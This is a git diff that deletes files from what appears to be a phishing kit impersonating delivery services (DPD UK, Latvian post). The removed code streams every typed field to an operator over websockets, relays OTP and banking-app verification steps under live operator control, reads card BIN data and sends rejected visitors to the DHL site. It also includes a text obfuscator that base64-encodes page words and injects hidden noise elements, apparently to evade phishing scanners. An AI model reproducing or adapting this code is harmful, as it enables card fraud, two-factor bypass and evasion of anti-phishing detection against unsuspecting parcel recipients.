- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/a2_uk_dpd_post/src/utils/common.ts.backup b/a2_uk_dpd_post/src/utils/common.ts.backup
deleted file mode 100644
index 043ec9c..0000000
--- a/a2_uk_dpd_post/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwX/header.html");
- footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwX/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/a3_lv_pasts_post/src/components/HelloWorld.vue b/a3_lv_pasts_post/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/a3_lv_pasts_post/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/a3_lv_pasts_post/src/components/TheWelcome.vue b/a3_lv_pasts_post/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/a3_lv_pasts_post/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/a3_lv_pasts_post/src/components/WelcomeItem.vue b/a3_lv_pasts_post/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/a3_lv_pasts_post/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/a3_lv_pasts_post/src/main.ts b/a3_lv_pasts_post/src/main.ts
index 26e954a..458c554 100644
--- a/a3_lv_pasts_post/src/main.ts
+++ b/a3_lv_pasts_post/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -30,6 +29,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/a3_lv_pasts_post/src/mix/textObfuscator.ts b/a3_lv_pasts_post/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/a3_lv_pasts_post/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/a3_lv_pasts_post/src/utils/common.ts.backup b/a3_lv_pasts_post/src/utils/common.ts.backup
deleted file mode 100644
